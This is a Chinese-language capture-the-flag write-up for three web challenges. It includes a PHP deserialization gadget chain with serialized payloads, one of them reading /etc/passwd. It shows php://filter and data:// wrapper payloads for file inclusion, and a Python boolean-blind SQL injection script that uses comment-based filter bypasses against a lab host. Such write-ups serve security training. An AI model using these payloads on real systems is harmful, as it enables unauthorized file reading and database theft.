第一届山城杯初赛Web-WriteUp

发布时间 2023-06-12 13:49:09作者: 晨风晓曦

Web writeup:

Web1(Lesen):

考点:

文件包含 反序列化 伪协议

界面:

image-20230526212624496

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$from = $_GET['from'];
$to = $_GET['to'];
if(!isset($from) or !isset($to) or stripos($from, "flag")!=FALSE)
{
    $from = "behind.php";
}

include($from);// read flag.php

if(isset($to))
{
    $a = unserialize($to);
    $a->sayTheFlag();
}

分析:

需get传递两个参数from,to。

1.'from'不能包含"flag"字符串,否则默认值为"behind.php"。

2.'to'变量需要反序列化一个对象。

这里还不知道to需要跟啥参数,利用伪协议先用from读取behind.php或index.php源码

http://192.168.10.221:58001/?from=php://filter/convert.base64-encode/resource=behind.php&to=

image-20230526170837296

解码:

<?php
error_reporting(0);
class Test
{
        public $notthis;
        public $variable;
        public function __call($t1, $t2)
        {
            print($this->notthis);
        }

}
class NoUse
{
        public $notthis;
        public $class;
        public function __toString()
        {
            return file_get_contents($this->notthis);
        }
}
?>

分析:

分析behind.php源码,index.php里调用sayTheFlag(),方法不存在,会自动调用call()魔术方法,接着print一个对象,就会自动调用其toString(),实现最终目标file_get_contents()读flag。流程:sayTheFlag() -> Test::__call() -> NoUse::__toString() -> file_get_contents()

image-20230526213308288

总结:这里其实有两种思路,分别从from,to入手,反序列化肯定是正解,第一个需fuzz没有被ban的过滤器。

1.从from读取flag.php

2.从to构造反序列化,读取flag.php

实例化代码,构造反序列化链,伪协议读flag.php转换base64,最后序列化并URL编码

<?php
    error_reporting(0);
    class Test
    {
            public $notthis;
            public $variable;
            public function __call($t1, $t2)
            {
                print($this->notthis);
            }

    }
    class NoUse
    {
            public $notthis;
            public $class;
            public function __toString()
            {
                return file_get_contents($this->notthis);
            }
    }

    $a = new Test();
    $a->notthis = new NoUse();
    $a->notthis->notthis = 'php://filter/read=convert.base64-encode/resource=flag.php';

    print(urlencode(serialize($a)));
    // print(serialize($a));
?>

错误自定义单链:但只能读passwd

/?to=O:4:"Test":1:{s:7:"notthis";O:5:"NoUse":1:{s:7:"notthis";s:5:"/etc/passwd";}}

实例化,构造反序列化链,先调call再调tostring。

/?to=O:4:"Test":2:{s:7:"notthis";O:5:"NoUse":2:{s:7:"notthis";s:8:"flag.php";s:5:"class";N;}s:8:"variable";N;}

image-20230526171329221

Web2(One Two Three):

考点:

PHP伪协议

界面:

image-20230526171944327

源码:

<?php

highlight_file(__FILE__);
error_reporting(0);
include("ans.php");

if(isset($_GET["one"]) && isset($_GET["two"]) && isset($_POST["three"]))
{
    $one = $_GET["one"];
    $two = $_GET["two"];

    $three = $_POST["three"];
    if(!empty($one) && !empty($two) && !empty($three))
    {
        if(file_get_contents($two) === "g00dJ0b" and file_get_contents($three) ===  "onTh1s")
        {
            var_dump($one);
            include($one);
        }
    }
    else
        die("Insufficient Parameters");
} D0n't try t0 tr1ck me!

利用data伪协议绕过file_get_contents(),one使用php伪协议读取ans.php,构造利用条件

Payload:

http://192.168.10.221:58002/?one=php://filter/convert.base64-encode/resource=ans.php&two=data://text/plain,g00dJ0b

post:three=data://text/plain,onTh1s

image-20230526172231260

解码:

image-20230526172247465

Web3(ScoreQuery):

考点:布尔盲注

界面:

image-20230526171630061

经过fuzz发现,所有常见如' " or select union and等关键字被过滤了但是'' sleep()等成功执行,推测盲注。

import requests
import string

flagstr = "1234567890qwertyuiopasdfghjklzxcvbnm}{-"
flag = ''
url = "http://192.168.10.221:58003/"
 
for i in range(1,45):
    for c in flagstr:
        tmp = url + "?id=0'/**/or/**/substr((select/**/F1ag/**/from/**/TheFl4g),{},1)='{}'%23".format(i,c)
        res = requests.get(tmp)
        if len(res.text) == 2263:
            flag += c
            print(flag)
            break